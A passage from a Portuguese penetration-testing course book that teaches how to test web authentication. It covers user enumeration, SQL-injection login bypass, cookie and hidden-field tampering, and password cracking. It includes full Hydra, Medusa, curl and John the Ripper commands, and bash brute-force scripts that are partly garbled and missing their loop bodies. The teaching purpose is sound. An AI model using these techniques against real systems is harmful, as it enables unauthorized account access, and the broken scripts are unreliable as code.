e falsos negativos. Este ltimo mede a proporo de usurios vlidos que no so auten-
ticados pelo sistema, enquanto que o primeiro avalia a taxa de pessoas, eventualmente
atacantes, que so incorretamente autenticadas como outras.
93
1 Diversos mtodos de ataque foram descritos na literatura para comprometer autenti-
cao biomtrica (Duc e Mihn, 2009; Uludag e Jain, 2004) e as principais estratgias de
mitigao requerem o uso de tecnologia especial ou ferem a usabilidade do sistema.
Exerccio de nivelamento 2 e
Vulnerabilidades
Que tipos de vulnerabilidades podem ser encontrados em mecanismos de autenticao?
Outra tcnica que pode ser empregada para quebrar o mecanismo de autenticao o q
ataque por fora bruta, que consiste em testar todas as senhas possveis para um con-
junto de identificadores de usurio.
Cuidados devem ser tomados para evitar que o mecanismo de autenticao seja q
evadido. Um deslize comum, nesse sentido, criar uma pgina de autenticao que,
em caso de sucesso, redireciona o usurio para reas protegidas da aplicao, mas sem
impedir o acesso direto a essas pginas.
Nessa mesma linha, algumas aplicaes podem ser enganadas pela simples manipulao
de parmetros. Por exemplo, um atacante pode, simplesmente, trocar o valor de um campo
escondido, que indica se um usurio est autenticado, de no para sim. Ademais, se o
Teste de Invaso de Aplicaes Web
trecho de cdigo que trata a autenticao contiver erros lgicos, muito provavelmente no
sero necessrias credenciais vlidas para acesso aplicao.
Alguns erros que devem ser evitados no primeiro caso compreendem: utilizao de per-
guntas secretas com respostas fceis de serem adivinhadas; inexistncia de mecanismo de
travamento por tentativas invlidas; e exibio da senha atual, caso o usurio responda cor-
retamente s perguntas secretas. J com relao troca de senhas, ataques so possveis
quando a senha antiga no solicitada, antes da realizao da operao.
94
Para finalizar, importante mencionar que o principal problema com a autenticao de q
usurio no de origem tcnica, mas sim de natureza humana.
Para pensar
Por exemplo, observe-se o contedo do arquivo accounts.txt, abaixo ilustrado, que pode ser
encontrado no processo de reconhecimento da aplicao de teste Mutillidae. Tudo indica
que as informaes exibidas so credenciais de acesso aplicao. Assim, basta test-las,
uma a uma, e verificar se possvel autenticar-se como um usurio vlido, conforme
ilustrado na Figura 3.7. As vantagens dessa situao residem no tempo economizado para
obteno de acesso s reas protegidas do sistema e o no disparo de alertas por eventuais
mecanismos de deteco de intruso que estejam instalados no ambiente.
Figura 3.6 john, monkey, I like the smell of confunk Captulo 3 - Teste do mecanismo de autenticao
Contedo do arqui-
vo accounts.txt. ed, pentest, Commandline KungFu anyone?
95
Outra fonte de credenciais vlidas, descobertas no mapeamento da aplicao, so q Figura 3.7
Autenticao na
comentrios deixados pelos programadores, no cdigo HTML apresentado ao usurio, aplicao com da-
conforme ilustrado na Figura 3.8. dos obtidos na fase
de reconhecimento.
Isso acontece, muitas vezes, quando alguma funcionalidade ainda no est finalizada e os
desenvolvedores deixam um lembrete contendo identificador e senha de teste, para uso
prprio, o qual no removido do cdigo, por esquecimento, antes da liberao do sistema
para produo. Note-se que para essa vulnerabilidade poder ser explorada, contas de teste
devem estar presentes no ambiente final da aplicao, o que configura um problema de
segurana adicional.
Figura 3.8
Credenciais conti-
das em comentrio
no cdigo HTML.
96
Usurio e senha padronizados
Sistemas e plataformas, normalmente, so distribudos com algumas contas padronizadas, q
cujas senhas so conhecidas publicamente. Caso aquelas no sejam desativadas ou as
senhas no sejam alteradas, um atacante pode, muito facilmente, obter acesso no autori-
zado ao sistema, bastando para isso consultar a documentao do fornecedor ou a internet.
Mesmo quando o administrador tem preocupao em definir uma nova senha, comum
que valores simples sejam escolhidos, como pass123, por exemplo. Por esses motivos,
essa verificao deve sempre ser efetuada em um teste de invaso, para todos os elementos
mapeados, pois pode trazer excelentes resultados, com o mnimo de esforo.
Alm disso, essas contas, normalmente, possuem privilgios administrativos sobre a apli-
cao, resultando em maior impacto, quando exploradas. Ainda nesse escopo, contas de
novos usurios, muitas vezes, so definidas com senhas padronizadas ou baseadas em uma
regra de formao, dependente do identificador de usurio. Isso cria uma janela de oportu-
nidade para ataques, que perdura at que o novo colaborador substitua a senha inicial.
Para concluir esta seo, a Figura 3.9 lista credenciais conhecidas para alguns sistemas web
e plataformas subjacentes encontrados comumente em sistemas de produo.
97
Enumerao de identificadores de usurios
Mesmo quando as informaes levantadas durante as fases de reconhecimento e q
mapeamento so suficientes para viabilizar acesso a regies protegidas da aplicao,
importante ter disposio um conjunto de identificadores vlidos de usurios, para se
testar outras potenciais vulnerabilidades.
Uma vulnerabilidade na aplicao, que pode ser explorada para esse propsito, consiste q
em se exibir ao usurio mensagens de erro muito especficas, quando a autenticao
no realizada com sucesso.
Desse modo, para enumerar usurios, basta tentar se autenticar no sistema, com uma q
srie de possveis identificadores, e observar as mensagens de erro exibidas.
Figura 3.10
Mensagens de erro
no uniformes em
caso de tentativa
malsucedida de
autenticao:
(a) Usurio existe,
mas senha informa-
da incorreta. (b)
(a) (b) Usurio no existe.
Note que a chave para o sucesso da tcnica depende de conseguir discernir a situao em q
que a conta invlida daquela em que ela existe, mas a senha informada no a esperada.
Assim, mesmo que as mensagens de erro para os dois casos paream idnticas, deve-se
analis-las detalhadamente, em busca de diferenas sutis que possam existir (Stuttard
e Pinto, 2007; Meucci et al., 2008). Abaixo esto exemplos de caractersticas que podem
variar e no serem visualmente perceptveis:
Teste de Invaso de Aplicaes Web
1 Cdigo HTML: as mensagens de erro podem ser visualmente iguais, mas com dife-
renas no cdigo HTML. Por exemplo, cada pgina pode conter um campo escondido
de cdigo de erro, definido com valor especfico.
1 Ttulo da pgina: corpos das mensagens idnticos, mas com ttulos diferentes indi-
cando cada uma das situaes.
98
1 Tempo de resposta: a aplicao pode gastar mais tempo para exibir uma mensagem q
de erro, quando o identificador existe e a senha incorreta, porque ela precisa
ser transformada e comparada com o valor na base de usurios. Embora isso seja,
normalmente, imperceptvel para um ser humano, uma ferramenta automatizada
capaz de detectar e apontar tal variao no tempo de processamento.
O seguinte exemplo ilustra uma maneira de realizar o trabalho empregando o utilitrio curl,
que permite transferir dados por meio de diversos protocolos, inclusive o HTTP. O primeiro
passo consiste em identificar a URL do programa que processa a autenticao e os nomes dos
parmetros enviados. Essas informaes podem ser obtidas interceptando a requisio ou a
partir do cdigo-fonte do formulrio de autenticao, conforme ilustrado na Figura 3.11.
Figura 3.11 A sintaxe do utilitrio curl, para submeter o formulrio com os parmetros identificados, e a
Cdigo-fonte de sada da execuo esto abaixo ilustrados:
formulrio de
autenticao. ~$ curl -s --data userid=admin&senha=admin&Submit1=Login 8
Captulo 3 - Teste do mecanismo de autenticao
http://form-auth.esr.rnp.br/login.php
99
Pelo HTML retornado, possvel observar que as credenciais admin/admin so vlidas e que
os textos marcados em vermelho podem ser empregados para identificar uma autenticao
bem-sucedida. Considerando essa informao e tambm que a aplicao exibe as mensa-
gens de erro ilustradas na Figura 3.10, um script para enumerao de usurios est apre-
sentado na Figura 3.12. Esse script obtm a lista de identificadores a partir do arquivo texto
ids, que contm um item por linha e tenta se autenticar usando o mesmo valor para usurio
e senha. Se as credenciais so validadas, um par (id, id) exibido; se no, se a mensagem
de senha incorreta recebida, exibe-se um par (id, ?), indicando conta existente e senha
desconhecida. Nesse caso, importante lembrar que uma das tentativas permitidas foi
consumida antes do bloqueio da conta.
#!/bin/bash
do
http://form-auth.esr.rnp.br/login.php)
then
echo ($id, ?)
then
fi Figura 3.12
Script para enume-
done rao de usurios.
Apesar disso, o controle no adotado nas demais funcionalidades do sistema, como, por
exemplo, o mecanismo de recuperao de senhas. Consequentemente, o problema, que est ilus-
Teste de Invaso de Aplicaes Web
trado na Figura 3.13, pode ser explorado empregando a mesma tcnica descrita anteriormente.
Figura 3.13
Mecanismo vulner-
vel de recuperao
de senhas, que pos-
sibilita enumerao
de usurios: (a) Tela
exibida, quando
identificador existe.
(b) Mensagem de
erro informando
inexistncia de
(a) (b) identificador.
100
Aplicaes que permitem a criao da prpria conta de acesso, em sua grande maioria, q
no tratam a fraqueza em questo durante o processo de cadastro. Quando um identifi-
cador j existente fornecido, a aplicao informa o fato ao usurio, revelando, colate-
ralmente, a validade da conta, sem o risco de bloque-la. Nesse caso, entretanto, no
fcil corrigir a vulnerabilidade e, por isso, o risco tende a ser assumido.
A dificuldade de soluo reside nas opes disponveis para lidar com o problema:
O grande problema dessa soluo que os usurios, muitas vezes, definem a dica com o
valor da prpria senha, tornando a vida de um atacante extremamente fcil.
Figura 3.14
Mecanismo de
recuperao de
senhas: (a) Pergunta
secreta exibida. (b)
Resultado obtido
quando resposta
correta fornecida. (a) (b)
101
Alm das vulnerabilidades supracitadas, um mecanismo de recuperao de senhas pode
estar sujeito a diversos outros problemas de segurana (Stuttard e Pinto, 2007; Meucci et al.,
2008), juntamente, com os meios de explor-los.
1 Envio da senha original para uma conta pr-cadastrada de correio eletrnico: similar
exibio da senha em tela, permite usar a aplicao, sem que o usurio legtimo saiba
do comprometimento. Porm, mais difcil de explorar, pois requer que o atacante des-
cubra a conta de e-mail do usurio e a senha correspondente.
senha em claro ou um link para um formulrio, no qual ela pode ser redefinida. Observe
que algumas aplicaes no solicitam a conta de e-mail de destino, mas a embutem em
um campo escondido. Nesse caso, suficiente utilizar um proxy de interceptao para
alterar o valor do campo e obter o mesmo resultado.
102
1 Falta de notificao de troca de senha: uma boa prtica de segurana sempre
Incidente de segurana permitir a deteco de incidentes de segurana, se no for possvel evit-los. Assim,
Corresponde violao quando houver uma troca de senha, por meio do mecanismo de recuperao, uma men-
de polticas implcitas e
sagem de notificao deve ser enviada a uma conta pr-cadastrada de correio eletrnico,
explcitas de segurana
da informao. pertencente ao usurio legtimo. Com esse controle, mesmo que uma conta seja compro-
metida, o proprietrio ficar ciente do fato e poder agir, diminuindo o dano causado.
Nesse caso, fica evidente que o roubo do cookie suficiente para uma pessoa maliciosa
acessar o sistema, de maneira no autorizada, mesmo desconhecendo, completamente,
quaisquer credenciais vlidas. A subtrao do cookie pode ser executada por meio de um
ataque cross-site scripting (Captulo 5), comprometimento da mquina do usurio ou em
trnsito, quando um canal seguro no utilizado (Captulo 9).
Uma pequena variao no ataque acima permite que um usurio legtimo escale privil- q
gios na aplicao.
Para isso, ele precisa apenas alterar o valor do atributo que indica o usurio, para o iden-
tificador de uma conta com mais privilgios. Por exemplo, se o cookie possui um par
usuario=fulano, sabendo-se da existncia da conta admin, basta realizar a modificao
usuario=admin para concluir a explorao. No caso de um teste caixa-cinza, em que
algumas contas de acesso so fornecidas para o analista de segurana, a presena dessa
vulnerabilidade permite se conectar com qualquer conta conhecida.
103
Se, por um lado, no factvel obter, a partir da rede, os dados de conta submetidos ao
servidor da aplicao, por outro possvel violar a integridade da pgina de autenticao
injetando cdigo malicioso para captura de teclas digitadas ou alterando os elementos da
pgina apresentada, de modo a redirecionar as informaes para outro destino. Portanto,
fundamental que a pgina, na qual o usurio digita identificador e senha, seja provida por
canal seguro.
Mesmo que um canal seguro seja empregado, o identificador e senha fornecidos pelo
usurio so mantidos no histrico de navegao e em trilhas de auditoria do servidor
web. Se este estiver mal configurado, do ponto de vista de segurana, permitindo acesso
aos arquivos do sistema, um atacante pode copiar as trilhas mencionadas e extrair delas
diversas credencias vlidas.
Finalmente, a camada SSL/TLS, provida pelo servidor web, pode estar mal configurada q Figura 3.15
e permitir o uso de verses vulnerveis desses protocolos, alm de sutes criptogrficas Dados de autenti-
cao HTTP Basic
fracas, sujeitas a ataques criptoanalticos. capturados em
trnsito.
Esses problemas so discutidos em detalhes no Captulo 9, que trata de falhas nos meca-
nismos criptogrficos.
Por exemplo, se por um motivo qualquer, a conexo com a base de usurios finalizada,
impedindo o processo de autenticao, o acesso do reclamante deve ser negado. Infeliz-
mente, essa diretriz bsica no seguida em profuso, conduzindo a diversos tipos de
vulnerabilidades, que afetam, sobretudo, os mecanismos de controle de acesso.
Considere a aplicao ilustrada na Figura 3.16, que permite acesso s reas sensveis,
somente aos usurios devidamente autenticados e autorizados. Observe que o nome de
usurio e a senha so enviados, em dois parmetros distintos, por meio do mtodo POST,
quando o boto Login clicado.
104
Figura 3.16
Tela de autenticao
e formato
da requisio. Se a aplicao no tratar erros inesperados adequadamente, conforme discutido, um q
usurio malicioso pode se autenticar, mesmo sem conhecimento da senha correspon-
dente. Um teste que deve ser executado, ento, resume-se na remoo de um ou mais
parmetros esperados pela aplicao, antes do envio da requisio, para induzir a ocor-
rncia de um erro.
Isso pode ser realizado com auxlio de um proxy de interceptao, conforme ilustrado na Figura
3.17. Note que, de fato, o sistema apresenta a vulnerabilidade descrita e pode ser explorado.
Figura 3.17 Testes adicionais que devem ser realizados, com o mesmo objetivo acima exemplificado, q
Requisio efetuada incluem:
sem o parmetro
Password. 1 Submisso de identificadores de usurio e de senhas maiores que o tamanho
mximo permitido pela aplicao.
Vejamos agora outro tipo de problema, que afeta, comumente, aplicaes que armazenam
a base de usurios em um banco de dados relacional. A rotina que efetua a autenticao,
nesses casos, realiza uma consulta SQL ao banco, em busca de um registro que contenha o
identificador de usurio e senha fornecidos. Se nenhuma tupla for encontrada, o reclamante
no validado e o acesso ao sistema negado. O cdigo que realiza essa verificao, fre-
quentemente, se assemelha ao apresentado na Figura 3.18, o qual, se percebe, vulnervel
injeo de SQL (Captulo 6).
105
sComando = select count(*) into :nCount
from usuarios
senha = + sSenha + ;
SqlExecute(hSql, sComando);
Figura 3.18
if (nCount > 0) print(Usurio autenticado); Exemplo de trecho
de cdigo emprega-
do para autentica-
o de usurios,
que vulnervel
injeo de SQL.
Nesse cenrio, o mecanismo de autenticao pode ser quebrado com os seguintes passos:
2. O atacante fornece o valor or 1=1;-- para o campo usurio e um valor qualquer para
a senha. A sequncia ;-- serve para comentar o restante da linha e evitar um erro de
sintaxe decorrente do texto que sobra.
from usuarios
senha = qualquervalor;
4. Como a expresso 1=1 uma tautologia, o where avaliado como verdadeiro para
todas as tuplas da tabela e a quantidade delas ser armazenada na varivel nCount.
Devido construo do if, que verifica se qualquer registro foi encontrado, a aplicao
autentica o usurio, mesmo sem ele saber a senha correta.
Encerramos o presente tpico com a anlise da rotina de autenticao ilustrada na Figura 3.19,
que est repleta de vulnerabilidades descobertas, no passado, em sistemas reais. Um pro-
blema que ainda no foi discutido neste texto est no lao das linhas 8-10, responsvel por
comparar a senha armazenada com a fornecida. Observe que o lao executado enquanto
no forem encontrados caracteres divergentes e o ndice for menor que o tamanho da
senha informada. Esse ltimo exatamente o ponto problemtico, pois permite que um
usurio se autentique, com uma senha de apenas um caractere, desde que corresponda ao
Teste de Invaso de Aplicaes Web
primeiro da senha armazenada. fcil perceber que um ataque de fora bruta, nesse caso,
seria trivialmente executado.
106
01 public static boolean auth(String id, String pwd) {
04
05 try {
06 if (senhaArmazenada != null) {
07 pwd = pwd.toUpperCase();
10 }
11 }
12 } catch (Exception e) {
13 }
14
Figura 3.19
Rotina de autenti- 15 return bAuth;
cao com diversas
vulnerabilidades. 16 }
1 A rotina retorna true, caso sejam fornecidas uma conta vlida e a senha correta adicio-
nada de um sufixo qualquer. A razo disso que senhaArmazenada.charAt(i), na linha 09,
Captulo 3 - Teste do mecanismo de autenticao
gera uma exceo, quando o primeiro caractere do sufixo comparado, fazendo com que
o valor corrente da varivel bAuth seja devolvido.
107
As justificativas para a adoo dessa prtica resumem-se em diminuir a janela de exposio
de uma conta comprometida e dificultar ataques contra arquivos de senhas, pois, na ocasio
em que uma delas seja encontrada, no ter mais utilidade nenhuma, por j ter sido alte-
rada (Stuttard e Pinto, 2007).
Para ilustrar como isso pode ser atacado, consideremos um cenrio em que a nova senha
solicitada duas vezes, o identificador do usurio atual mantido em um campo escondido
e o formulrio submetido por POST. Nesse contexto, possvel alterar a senha de outro
usurio da seguinte maneira:
1. Um usurio malicioso habilita um proxy local, para interceptar todas as requisies feitas
para a aplicao.
3. O atacante digita duas vezes a nova senha, nos campos correspondentes, e envia a requi-
sio, que interceptada pelo proxy. De modo a completar o ataque, ele altera o valor
do campo escondido, para o identificador da vtima, cuja senha , ento, trocada pela
escolhida.
4. A partir disso, a conta comprometida fica disponvel para acesso no autorizado, at que o
usurio legtimo defina nova senha, quando, ento, o ataque pode ser novamente executado.
Um claro exemplo disso so as aplicaes de internet banking, com as quais grandes somas
de dinheiro so transferidas diariamente, entre diversas contas e entidades. Por mais
simples que seja o tipo de conta, necessrio, pelo menos, saber uma senha, diferente da
utilizada nos caixas fsicos, e possuir algum tipo de token, normalmente, na forma de uma
cartela de valores. Para clientes que esto sujeitos a maior risco, como as pessoas jurdicas,
por exemplo, so empregados, muitas vezes, at trs fatores de autenticao.
Uma sesso em uma aplicao desse tipo comea, tipicamente, com a autenticao do q
usurio por meio da senha, o que permite acesso a diversas funcionalidades bsicas.
Quando uma operao envolvendo valores financeiros solicitada, o usurio precisa
Teste de Invaso de Aplicaes Web
fornecer novamente a senha e utilizar o segundo fator, para comprovar sua identidade.
Uma implementao segura desse cenrio requer que as informaes de autenticao
j validadas sejam mantidas exclusivamente no servidor e que etapas do processo no
possam ser ignoradas.
108
1 Informaes sobre as diversas etapas da autenticao so mantidas em parmetros
enviados ao lado cliente, como tokenValidado=N, por exemplo. Um teste imediato que
deve ser efetuado trocar o valor para S ou Y, efetuar uma requisio aplicao e ver
como o sistema se comporta. Em situaes assim, h grande chance de o processo de
autenticao ser evadido, obtendo-se com isso acesso no autorizado ao sistema.
1 Uma aplicao, que usa cartelas de senha como segundo fator de autenticao, mantm,
em um campo escondido, o identificador do usurio corrente, uma vez que este j tenha
se autenticado por senha. Nas requisies subsequentes, o sistema extrai o nome da
conta a partir desse campo, em vez de obt-lo a partir do objeto de sesso salvo no ser-
vidor. Um teste que pode ser realizado consiste em interceptar uma requisio de auten-
ticao via segundo fator e alterar o par (identificador, valor da cartela) com os dados
de outro usurio. Se a operao for realizada com sucesso, significa que a aplicao no
amarra as diversas etapas da autenticao corretamente.
1 A rotina que trata uma determinada operao assume que, se foi chamada, todos os
fatores de autenticao j foram validados. O problema nesse caso que a premissa
adotada pode ser falsa e o correto, ento, consiste em verificar se todas as etapas foram
completadas com sucesso, antes de atender a solicitao. Para testar a presena dessa
vulnerabilidade, todos os passos da operao devem ser executados com uma conta vlida,
para que as diversas requisies aplicao sejam mapeadas. Em seguida, deve-se tentar
repetir as requisies identificadas, mas desconsiderando aquelas referentes ao processo
de autenticao. Se nenhum erro ocorrer, a aplicao se encontra vulnervel.
Por todas essas desvantagens, um ataque desse tipo deve ser utilizado somente como
ltimo recurso de um teste de invaso caixa-preta, quando nenhuma outra vulnerabili-
dade pde ser encontrada.
Um software antigo, mas que permite realizar esse tipo de teste, o Brutus, o qual pode ser
configurado de diversas maneiras diferentes, contra diversos tipos de protocolos. A Figura 3.20
Captulo 3 - Teste do mecanismo de autenticao
109
Ataque de dicionrio
q
Figura 3.20
Como vimos, um ataque de fora bruta apresenta diversos problemas, podendo Ataque de fora
bruta contra Auten-
demorar muito tempo para atingir um resultado positivo se o espao de senhas for ticao Basic.
demasiado grande. A falha na abordagem que todas as senhas so consideradas poss-
veis candidatas, embora usurios raramente escolham sequncias sem sentido.
Em vez disso, para facilitar a memorizao, a grande maioria das pessoas utiliza palavras
do idioma, nomes de familiares, datas, nmeros de documento e pequenas variaes. Por
exemplo, n0rm@2011 pode ser usado no lugar de norma2011.
Tendo esse fato em mente, uma abordagem mais inteligente resulta no ataque de dicionrio, q
que seleciona as senhas para teste a partir de uma lista de palavras comuns e variaes.
Com essa estratgia, senhas improvveis para a maioria dos usurios so descartadas,
economizando com isso uma boa parcela de tempo. Observe, no entanto, que, apesar do
universo reduzido de senhas a serem testadas, as questes de bloqueio de conta e deteco
por dispositivos de segurana continuam presentes.
q
Teste de Invaso de Aplicaes Web
Alguns exemplos de utilitrios, que podem ser empregados para realizar ataque de Cygwin
dicionrio contra aplicaes web, incluem: Arcabouo que permite
compilar aplicaes
1 Brutus: um software livre, fornecido nativamente apenas para plataformas desenvolvidas para
Windows, mas que pode ser executado tambm em Linux, via Wine. Permite testar Linux, em ambientes
autenticao HTTP Basic e a baseada em formulrios, alm de outros servios. Windows, por meio de
uma camada, na forma
1 THC Hydra: distribudo sob licena GPLv3, funciona em todas as plataformas Unix/ de uma biblioteca
Linux, Mac OS/X, Windows com Cygwin e PalmOS. Suporta HTTP Basic, HTTP Digest, dinmica que prov
grande parte da
autenticao baseada em formulrios e verses protegidas por SSL/TLS, alm de in-
funcionalidade da
meros outros servios. Alm disso, prov uma interface grfica chamada de xHydra. API Linux.
110
1 Medusa: fornecido sob licena GPLv2, com suporte a todas as plataformas Unix/Linux, q
Mac OS/X e Windows com Cygwin. Suporta HTTP Basic, HTTP Digest, autenticao baseada
em formulrios e verses protegidas por SSL/TLS, alm de inmeros outros servios.
Vejamos agora como funcionam essas ferramentas. A Figura 3.21 ilustra o resultado de um
ataque bem-sucedido do Brutus contra autenticao HTTP Basic, o qual revelou um usurio
esruser com senha idntica. Comparando com a configurao da Figura 3.20, utilizada para
fora bruta, percebe-se que as diferenas residem no modo Word List e no fornecimento de
arquivos contendo listas de palavras para identificador de usurio e para senha.
Figura 3.21 Para executar o mesmo teste acima com o utilitrio Medusa, deve-se digitar o seguinte comando:
Ataque de dicion-
rio contra Autenti- ~$ medusa -h exemplo.esr.rnp.br -U ids -P ids -e ns -M http 8
cao Basic. Captulo 3 - Teste do mecanismo de autenticao
-m DIR:basic/ -v 4
111
1 -e n serve para testar senha nula e s, senha idntica ao identificador.
1 -M indica o mdulo a ser carregado para o teste.
1 -m parmetros passados para o mdulo.
1 -v controla a quantidade de informaes exibidas ao usurio.
O prximo exemplo ilustra um teste de dicionrio, efetuado pela ferramenta Hydra, contra
o mecanismo de autenticao HTTP Digest, que revelou, com sucesso, a conta esruser com
senha esruser. Note-se que a sintaxe apresenta certa semelhana com a da Medusa, o que
esperado, considerando que os dois programas possuem o mesmo propsito. As opes
-L e -P indicam, respectivamente, os nomes dos arquivos contendo os dicionrios de
identificadores de usurio e de senhas; -e ns testa com senha nula e igual ao identificador;
http-head define o protocolo e o mtodo; por fim, o ltimo parmetro varia de acordo com
o servio e , no caso de http-head, especifica a pgina que requer autenticao.
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use
allowed only for legal purposes.
O resultado disso tudo, quando aplicado ao formulrio da Figura 27, o comando abaixo
ilustrado. Um ponto importante que deve ser observado que a sintaxe s permite destacar
uma nica mensagem de erro. Porm, no cenrio em questo, a aplicao web exibe textos
diferentes para senha incorreta e usurio inexistente. Consequentemente, se a lista de
identificadores passada por meio da opo -L contiver usurios invlidos, falsos positivos
ocorrero, porque o utilitrio no conseguir interpretar a mensagem de erro devolvida.
/login.php:userid=^USER^&senha=^PASS^&Submit1=Login:incorreta
112
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use
allowed only for legal purposes.
Essa limitao apresentada pelo utilitrio Hydra pode ser facilmente superada, por meio
de uma adaptao no script da Figura 3.12, utilizado para enumerao de usurios. Basi-
camente, um lao externo deve ser adicionado para varrer o dicionrio de senhas, e o
comando condicional, limitado ao caso de autenticao bem-sucedida. A Figura 3.22 exibe o
novo script, contendo as alteraes necessrias.
# !/bin/bash
do
do
http://form-auth.esr.rnp.br/login.php | \
Captulo 3 - Teste do mecanismo de autenticao
then
fi
Figura 3.22
Script para teste de done
dicionrio contra
formulrios de done
autenticao.
113
Ataque contra senhas armazenadas
Durante um teste de invaso em aplicaes web, no raro obter senhas a partir de q
arquivos e bancos de dados.
Qualquer que seja o cenrio, entretanto, o objetivo a ser perseguido sempre a extrao q
de credenciais vlidas para acesso ao sistema alvo. Para isso, podem ser utilizadas tcnicas
baseadas em criptoanlise, tema do Captulo 9, ou calcadas na fraqueza das senhas.
Um timo utilitrio, nesse contexto, o John the Ripper, disponvel para diversas plata-
formas, sob licena GPLv2, e com suporte nativo a arquivos de senhas de sistemas Unix/
Linux, Windows e Kerberos/AFS. Visando um maior desempenho, em vez de utilizar a API
crypt, alguns dos algoritmos criptogrficos e rotinas de suporte foram desenvolvidos direta-
mente em linguagem Assembly, para vrias arquiteturas diferentes, sobretudo x86.
H trs modos de operao pr-definidos, que adotam estratgias diferentes para recu- q
perao das senhas, a partir dos arquivos protegidos:
O exemplo abaixo ilustra a maneira mais simples de utilizar a ferramenta para quebrar
um arquivo de senhas. Quando nenhum parmetro adicional, alm do nome de arquivo,
passado na linha de comando, John the Ripper opera nos trs modos disponveis, na ordem
em que foram acima apresentados, at que o trabalho seja concludo, ou interrompido
pelo usurio. Observe-se que as senhas em claro, neste caso especfico, foram encontradas
aps meros 14 segundos. importante ter em mente, porm, que muitas vezes, se no na
maioria, a tarefa consumir tempo bem maior.
Teste de Invaso de Aplicaes Web
~$ john passwords
esruser (esruser)
juk (esr)
senhad (hard)
114
Ataques de dicionrio so muito mais eficientes que os de fora bruta, porque senhas q
improvveis no so testadas no processo. A eficcia do mtodo, porm, depende da
qualidade e tamanho da lista empregada de palavras, uma vez que a senha deve estar
contida nela, para o ataque funcionar.
Nos casos em que a tcnica utilizada contra arquivos de senhas, possvel conseguir um
grande ganho de desempenho, pois no preciso verificar as palavras uma a uma. A ideia
consiste em alterar a estrutura do dicionrio, de modo a incluir, para cada palavra, a contra-
parte protegida, que passa a ser a chave de busca. Desse modo, para cada senha protegida
do arquivo alvo, verifica-se se o dicionrio contm um registro correspondente e, em caso
positivo, a senha em claro a palavra associada.
Uma abordagem mais elegante, que permite reduzir o consumo de espao, resume- q
-se no uso de rainbow tables, que foram introduzidas por Oeschslin (2003) como uma
melhoria do trabalho de Hellman (1980).
Para a explicao a seguir, considere-se que as senhas so protegidas, por meio de uma
funo de hash criptogrfica, denotada por h(x), e que Ri(x) corresponde a uma famlia de
funes que mapeiam hashes para senhas.
Note que com esses valores possvel reconstruir qualquer cadeia na tabela, bastando para
isso aplicar alternadamente h(x) e Ri(x) senha inicial.
1. Seja a i-sima cadeia parcial a sequncia de valores alternados de hashes e senhas, calculados
a partir de Ri(H), com 1 i t 1:
3. Neste passo, a cadeia reconstruda a partir da senha inicial recuperada da linha L, at hi,
o qual deve ser comparado contra H. Se os valores forem iguais, a senha procurada a si,
isto , aquela imediatamente anterior ao hi. Caso contrrio, obteve-se um falso alarme e o
processo deve retornar ao Passo 1, a partir da ltima cadeia parcial avaliada.
115
Entre os exemplos de softwares que podem ser empregados para realizar ataques base- q
ados em rainbow tables esto:
O exemplo abaixo ilustra o uso do rcracki_mt, parte das ferramentas Free Rainbow Tables,
para encontrar a senha correspondente ao hash MD5, passado pela opo -h. Observe-se
que o processo todo durou pouco mais que trinta segundos e resultou na descoberta de
uma senha de seis letras minsculas seguidas de trs dgitos numricos. Antes disso, porm,
foram achadas 907 cadeias provveis, que conduziram a falsos alarmes. Para se ter ideia do
espao em disco necessrio, para a soluo desse cenrio foram empregadas tabelas que
totalizam cerca de 3 GBytes.
md5_hybrid(loweralpha#6-6,numeric#1-3)#0-0_0_10000x63130363_
distrrtgen[p][i]_0.rti:
statistics
-------------------------------------------------------
116
total cryptanalysis time: 3.05 s
result
-------------------------------------------------------
2465d0454ec909560b45b72086604edf esrrnp240
hex:657372726e70323430
Vejamos a seguir os itens que devem constar em uma boa poltica de senhas, a razo de q
cada requisito e as tcnicas de teste que podem ser empregadas, para valid-la:
1 Comprimento mnimo.
1 Complexidade.
1 Troca peridica.
1 Histrico.
1 Mximo de trocas por dia.
1 Bloqueio de contas.
Complexidade
Uma senha forte deve conter elementos de, pelo menos, trs dos seguintes grupos: letras
maisculas, letras minsculas, nmeros e caracteres especiais. Alm disso, no devem
ser utilizadas palavras de dicionrio, nmeros de documento, datas, nomes, nmeros de
telefone e nem variaes. Quando tudo isso adotado, ataques de dicionrio tornam-se
117
ineficazes, pois as senhas deixam de ser encontradas nas listas de palavras normalmente
empregadas. Para testar esse requisito, deve-se tentar fornecer senhas que no satisfaam
as regras estabelecidas, nas telas de cadastro de contas e alterao de senhas. Se a vali-
dao da complexidade for executada no lado cliente da aplicao, um proxy de intercep-
tao deve ser utilizado.
Troca peridica
O principal objetivo desse requisito reduzir o tempo em que uma conta comprometida
pode ser utilizada pelo atacante, nos casos em que o fato no percebido pelo usurio.
A frequncia com que a troca deve ocorrer, todavia, um ponto controverso, pois, se
for muito alta, pode favorecer o esquecimento da senha e criar um novo problema. Por
exemplo, se a cada 15 dias o usurio for obrigado a escolher uma nova senha, as chances de
ele escrev-la em algum lugar so grandes. Desse modo, na prtica, os padres e normas
de segurana adotam um prazo balanceado para troca, que varia de 60 a 90 dias. A melhor
maneira de testar esse item por meio de inspeo de cdigo, em um teste caixa-branca.
Histrico
Impedir que o usurio troque a senha, para qualquer uma das n ltimas que tenha utilizado,
visa evitar que credenciais comprometidas voltem a ser empregadas e que a senha atual seja
mantida, por meio de trocas imediatas. Para validar esse requisito, basta tentar alterar a senha
para um dos valores contidos no histrico e observar se o sistema probe ou no a operao.
Bloqueio de contas
Quando uma srie de tentativas malsucedidas de autenticao com a mesma conta for
detectada, ela deve ser imediatamente bloqueada, pois um ataque de fora bruta pode
estar sendo executado. Aps um tempo, que deve aumentar a cada ocorrncia, a conta deve
ser automaticamente destravada, para evitar ataques de negao de servio contra os usu-
rios da aplicao. Alternativamente, o desbloqueio pode ser realizado pelo administrador
do sistema, mediante solicitao formal do usurio. A validao desse controle consiste
na submisso consecutiva de senhas incorretas para uma dada conta e a observao do
Teste de Invaso de Aplicaes Web
comportamento da aplicao frente situao. Note, entretanto, que isso pode resultar em
perda de acesso e, por isso, no recomendvel em testes caixa-preta, salvo se for execu-
tado ao final do trabalho.
118
Negao de servio direcionada a usurios
Uma poltica inadequada de bloqueio de contas pode permitir ataques de negao de q
servio contra os usurios da aplicao. Em alguns casos, isso pode ter por objetivo favo-
recer o atacante, alm de causar incmodo vtima. Por exemplo, consideremos uma
aplicao de leilo eletrnico, que exibe os identificadores dos usurios participantes,
em ordem decrescente do lance efetuado. Alm disso, vamos supor que o sistema blo-
